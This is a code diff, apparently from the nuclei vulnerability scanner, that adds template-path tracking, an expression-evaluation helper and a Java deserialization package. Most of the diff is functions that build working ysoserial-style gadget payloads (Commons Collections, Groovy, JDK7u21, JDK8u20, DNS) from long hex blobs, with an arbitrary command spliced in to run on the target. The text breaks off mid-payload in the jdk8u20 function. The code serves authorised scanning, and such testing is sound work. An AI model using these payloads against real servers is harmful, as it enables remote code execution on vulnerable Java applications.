@@ -60,13 +62,15 @@ func (e *Executer) Requests() int {
 func (e *Executer) Execute(input string) (bool, error) {
 	var results bool
 
+	previous := make(map[string]interface{})
 	dynamicValues := make(map[string]interface{})
-	err := e.requests.ExecuteWithResults(input, dynamicValues, nil, func(event *output.InternalWrappedEvent) {
+	err := e.requests.ExecuteWithResults(input, dynamicValues, previous, func(event *output.InternalWrappedEvent) {
 		for _, operator := range e.operators {
 			result, matched := operator.operator.Execute(event.InternalEvent, e.requests.Match, e.requests.Extract)
 			if matched && result != nil {
 				event.OperatorsResult = result
 				event.InternalEvent["template-id"] = operator.templateID
+				event.InternalEvent["template-path"] = operator.templatePath
 				event.InternalEvent["template-info"] = operator.templateInfo
 				event.Results = e.requests.MakeResultEvent(event)
 				results = true
@@ -94,6 +98,7 @@ func (e *Executer) ExecuteWithResults(input string, callback protocols.OutputEve
 			if matched && result != nil {
 				event.OperatorsResult = result
 				event.InternalEvent["template-id"] = operator.templateID
+				event.InternalEvent["template-path"] = operator.templatePath
 				event.InternalEvent["template-info"] = operator.templateInfo
 				event.Results = e.requests.MakeResultEvent(event)
 				callback(event)

v2/pkg/protocols/common/expressions/expressions.go

@@ -37,3 +37,30 @@ func Evaluate(data string, base map[string]interface{}) (string, error) {
 	// Replacer dynamic values if any in raw request and parse  it
 	return replacer.Replace(data, dynamicValues), nil
 }
+
+// EvaluateByte checks if the match contains a dynamic variable, for each
+// found one we will check if it's an expression and can
+// be compiled, it will be evaluated and the results will be returned.
+//
+// The provided keys from finalValues will be used as variable names
+// for substitution inside the expression.
+func EvaluateByte(data []byte, base map[string]interface{}) ([]byte, error) {
+	final := replacer.Replace(string(data), base)
+
+	dynamicValues := make(map[string]interface{})
+	for _, match := range templateExpressionRegex.FindAllString(final, -1) {
+		expr := generators.TrimDelimiters(match)
+
+		compiled, err := govaluate.NewEvaluableExpressionWithFunctions(expr, dsl.HelperFunctions())
+		if err != nil {
+			continue
+		}
+		result, err := compiled.Evaluate(base)
+		if err != nil {
+			continue
+		}
+		dynamicValues[expr] = result
+	}
+	// Replacer dynamic values if any in raw request and parse  it
+	return []byte(replacer.Replace(final, dynamicValues)), nil
+}

v2/pkg/protocols/common/helpers/deserialization/deserialization.go

@@ -0,0 +1,2 @@
+// Package deserialization implements helpers for deserialization issues in nuclei.
+package deserialization

v2/pkg/protocols/common/helpers/deserialization/helpers.go

@@ -0,0 +1,17 @@
+package deserialization
+
+import "bytes"
+
+func InsertInto(s string, interval int, sep rune) string {
+	var buffer bytes.Buffer
+	before := interval - 1
+	last := len(s) - 1
+	for i, char := range s {
+		buffer.WriteRune(char)
+		if i%interval == before && i != last {
+			buffer.WriteRune(sep)
+		}
+	}
+	buffer.WriteRune(sep)
+	return buffer.String()
+}

v2/pkg/protocols/common/helpers/deserialization/java.go

@@ -0,0 +1,162 @@
+package deserialization
+
+import (
+	"bytes"
+	"compress/gzip"
+	"encoding/base64"
+	"encoding/hex"
+	"strings"
+)
+
+// Taken from: https://github.com/joaomatosf/jexboss/blob/master/_exploits.py
+// All credits goes to original authors of the Jexboss Project.
+
+// GenerateJavaGadget generates a gadget with a command and encoding.
+// If blank, by default gadgets are returned base64 encoded.
+func GenerateJavaGadget(gadget, cmd, encoding string) string {
+	var returnData []byte
+
+	switch gadget {
+	case "dns":
+		returnData = generateDNSPayload(cmd)
+	case "jdk7u21":
+		returnData = generatejdk7u21Payload(cmd)
+	case "jdk8u20":
+		returnData = generatejdk8u20Payload(cmd)
+	case "commons-collections3.1":
+		returnData = generateCommonsCollections31Payload(cmd)
+	case "commons-collections4.0":
+		returnData = generateCommonsCollections40Payload(cmd)
+	case "groovy1":
+		returnData = generateGroovy1Payload(cmd)
+	default:
+		return ""
+	}
+	if returnData == nil {
+		return ""
+	}
+	return gadgetEncodingHelper(returnData, encoding)
+}
+
+// gadgetEncodingHelper performs encoding of the generated gadget based on provided
+// options.
+func gadgetEncodingHelper(returnData []byte, encoding string) string {
+	switch encoding {
+	case "raw":
+		return string(returnData)
+	case "hex":
+		return hex.EncodeToString(returnData)
+	case "gzip":
+		buffer := &bytes.Buffer{}
+		if _, err := gzip.NewWriter(buffer).Write(returnData); err != nil {
+			return ""
+		}
+		return buffer.String()
+	case "gzip-base64":
+		buffer := &bytes.Buffer{}
+		if _, err := gzip.NewWriter(buffer).Write(returnData); err != nil {
+			return ""
+		}
+		return urlsafeBase64Encode(buffer.Bytes())
+	default:
+		return urlsafeBase64Encode(returnData)
+	}
+}
+
+func urlsafeBase64Encode(data []byte) string {
+	return strings.ReplaceAll(base64.StdEncoding.EncodeToString(data), "+", "%2B")
+}
+
+// generateCommonsCollections40Payload generates org.apache.commons:commons-collections4:4.0
+// deserialization paylaod for a command.
+func generateCommonsCollections40Payload(cmd string) []byte {
+	buffer := &bytes.Buffer{}
+
+	prefix, _ := hex.DecodeString("ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002E5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B78707572002E5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E5472616E73666F726D65723B39813AFB08DA3FA50200007870000000027372003C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B787076720037636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E5472415846696C746572000000000000000000000078707372003F6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E7374616E74696174655472616E73666F726D6572348BF47FA486D03B0200025B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C0200007870000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00144C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E002000078700000068CCAFEBABE0000003100380A0003002207003607002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100")
+	buffer.Write(prefix)
+	buffer.WriteString(string(rune(len(cmd))))
+	buffer.WriteString(cmd)
+	suffix, _ := hex.DecodeString("08003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401001E79736F73657269616C2F50776E65723131353636353933373838363330390100204C79736F73657269616C2F50776E65723131353636353933373838363330393B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002E000E0000000C000100000005000F003700000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000033000E00000020000300000001000F0037000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000037000E0000002A000400000001000F003700000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C0000001B000300020000000FA70003014CB8002F1231B6003557B1000000000002002000000002002100110000000A000100020023001000097571007E001F000001D4CAFEBABE00000031001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003B000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E727077010078757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000017672001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C6174657300000000000000000000007870770400000003737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000171007E002978")
+	buffer.Write(suffix)
+
+	return buffer.Bytes()
+}
+
+// generateCommonsCollections440PPayload generates commons-collections 3.1
+// deserialization paylaod for a command.
+func generateCommonsCollections31Payload(cmd string) []byte {
+	buffer := &bytes.Buffer{}
+
+	prefix, _ := hex.DecodeString("ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B787074002668747470733A2F2F6769746875622E636F6D2F6A6F616F6D61746F73662F6A6578626F7373207372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001B00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001B7371007E00137571007E001800000002707571007E001800000000740006696E766F6B657571007E001B00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00187371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400")
+	buffer.Write(prefix)
+	buffer.WriteString(string(rune(len(cmd))))
+	buffer.WriteString(cmd)
+	suffix, _ := hex.DecodeString("740004657865637571007E001B0000000171007E00207371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878")
+	buffer.Write(suffix)
+
+	return buffer.Bytes()
+}
+
+// generateGroovy1Payload generates org.codehaus.groovy:groovy:2.3.9
+// deserialization paylaod for a command.
+func generateGroovy1Payload(cmd string) []byte {
+	buffer := &bytes.Buffer{}
+
+	prefix, _ := hex.DecodeString("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002C6F72672E636F6465686175732E67726F6F76792E72756E74696D652E436F6E766572746564436C6F7375726510233719F715DD1B0200014C000A6D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B7872002D6F72672E636F6465686175732E67726F6F76792E72756E74696D652E436F6E76657273696F6E48616E646C65721023371AD601BC1B0200024C000864656C65676174657400124C6A6176612F6C616E672F4F626A6563743B4C000B68616E646C6543616368657400284C6A6176612F7574696C2F636F6E63757272656E742F436F6E63757272656E74486173684D61703B7870737200296F72672E636F6465686175732E67726F6F76792E72756E74696D652E4D6574686F64436C6F73757265110E3E848FBDCE480200014C00066D6574686F6471007E00097872001367726F6F76792E6C616E672E436C6F737572653CA0C76616126C5A0200084900096469726563746976654900196D6178696D756D4E756D6265724F66506172616D657465727349000F7265736F6C766553747261746567794C000362637774003C4C6F72672F636F6465686175732F67726F6F76792F72756E74696D652F63616C6C736974652F426F6F6C65616E436C6F73757265577261707065723B4C000864656C656761746571007E000B4C00056F776E657271007E000B5B000E706172616D6574657254797065737400125B4C6A6176612F6C616E672F436C6173733B4C000A746869734F626A65637471007E000B7870000000000000000200000000707400")
+	buffer.Write(prefix)
+	buffer.WriteString(string(rune(len(cmd))))
+	buffer.WriteString(cmd)
+	suffix, _ := hex.DecodeString("71007E0013757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A99020000787000000002767200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B4702000078707672000C6A6176612E696F2E46696C65042DA4450E0DE4FF0300014C00047061746871007E000978707074000765786563757465737200266A6176612E7574696C2E636F6E63757272656E742E436F6E63757272656E74486173684D61706499DE129D87293D03000349000B7365676D656E744D61736B49000C7365676D656E7453686966745B00087365676D656E74737400315B4C6A6176612F7574696C2F636F6E63757272656E742F436F6E63757272656E74486173684D6170245365676D656E743B78700000000F0000001C757200315B4C6A6176612E7574696C2E636F6E63757272656E742E436F6E63757272656E74486173684D6170245365676D656E743B52773F41329B39740200007870000000107372002E6A6176612E7574696C2E636F6E63757272656E742E436F6E63757272656E74486173684D6170245365676D656E741F364C905893293D02000146000A6C6F6164466163746F72787200286A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E5265656E7472616E744C6F636B6655A82C2CC86AEB0200014C000473796E6374002F4C6A6176612F7574696C2F636F6E63757272656E742F6C6F636B732F5265656E7472616E744C6F636B2453796E633B7870737200346A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E5265656E7472616E744C6F636B244E6F6E6661697253796E63658832E7537BBF0B0200007872002D6A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E5265656E7472616E744C6F636B2453796E63B81EA294AA445A7C020000787200356A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E416273747261637451756575656453796E6368726F6E697A65726655A843753F52E30200014900057374617465787200366A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E41627374726163744F776E61626C6553796E6368726F6E697A657233DFAFB9AD6D6FA90200007870000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F400000707078740008656E747279536574767200126A6176612E6C616E672E4F7665727269646500000000000000000000007870")
+	buffer.Write(suffix)
+
+	return buffer.Bytes()
+}
+
+// generateDNSPayload generates DNS interaction deserialization paylaod for a DNS Name.
+// Based on Gabriel Lawrence gadget
+func generateDNSPayload(url string) []byte {
+	buffer := &bytes.Buffer{}
+
+	prefix, _ := hex.DecodeString("ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017372000C6A6176612E6E65742E55524C962537361AFCE47203000749000868617368436F6465490004706F72744C0009617574686F726974797400124C6A6176612F6C616E672F537472696E673B4C000466696C6571007E00034C0004686F737471007E00034C000870726F746F636F6C71007E00034C000372656671007E00037870FFFFFFFFFFFFFFFF7400")
+	buffer.Write(prefix)
+	buffer.WriteString(string(rune(len(url))))
+	buffer.WriteString(url)
+	suffix, _ := hex.DecodeString("74000071007E00057400056874747073707874001968747470733A2F2F746573742E6A6578626F73732E696E666F78")
+	buffer.Write(suffix)
+
+	return buffer.Bytes()
+}
+
+// generatejdk7u21Payload generates deserialization payload for jdk7.
+// improved from frohoff version
+func generatejdk7u21Payload(url string) []byte {
+	buffer := &bytes.Buffer{}
+
+	prefix, _ := hex.DecodeString("ACED0005737200176A6176612E7574696C2E4C696E6B656448617368536574D86CD75A95DD2A1E020000787200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000849000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785A00155F75736553657276696365734D656368616E69736D4C000B5F617578436C617373657374003B4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF0070757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006")
+	buffer.Write(prefix)
+	buffer.WriteString(string(rune(len(url) + 131)))
+	middle, _ := hex.DecodeString("CAFEBABE0000003100380A0003002207003607002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100")
+	buffer.Write(middle)
+	buffer.WriteString(url)
+	suffix, _ := hex.DecodeString("08003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401002179736F73657269616C2F4A6578426F7373323631343139333134303837383735390100234C79736F73657269616C2F4A6578426F7373323631343139333134303837383735393B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002E000E0000000C000100000005000F003700000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000033000E00000020000300000001000F0037000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000037000E0000002A000400000001000F003700000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C0000001B000300020000000FA70003014CB8002F1231B6003557B1000000000002002000000002002100110000000A000100020023001000097571007E000C000001D4CAFEBABE00000031001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003B000E0000000C000100000005000F001200000002001300000002001400110000000A00010002001600100009707400076A6578626F73737077010078737D00000001001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C61746573787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001740008663561356136303871007E0009787672001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C617465730000000000000000000000787078")
+	buffer.Write(suffix)
+
+	return buffer.Bytes()
+}
+
+// generatejdk8u20Payload generates deserialization payload for jdk8.
+// improved from Alvaro (pwntester) version
+func generatejdk8u20Payload(url string) []byte {
+	buffer := &bytes.Buffer{}
+
+	prefix, _ := hex.DecodeString("ACED0005737200176A6176612E7574696C2E4C696E6B656448617368536574D86CD75A95DD2A1E020000787200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000949000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785A00155F75736553657276696365734D656368616E69736D4C00195F61636365737345787465726E616C5374796C6573686565747400124C6A6176612F6C616E672F537472696E673B4C000B5F617578436C617373657374003B4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00054C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF00740003616C6C70757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006")
+	buffer.Write(prefix)
+	buffer.WriteString(string(rune(len(url) + 147)))
+	middle, _ := hex.DecodeString("CAFEBABE00000031003A0A0003002407003807002707002801001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100224C7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700290100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B0100236F72672E6E65746265616E732E536F757263654C6576656C416E6E6F746174696F6E730100144C6A6176612F6C616E672F4F766572726964653B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002A0100207574696C2F4761646765747324537475625472616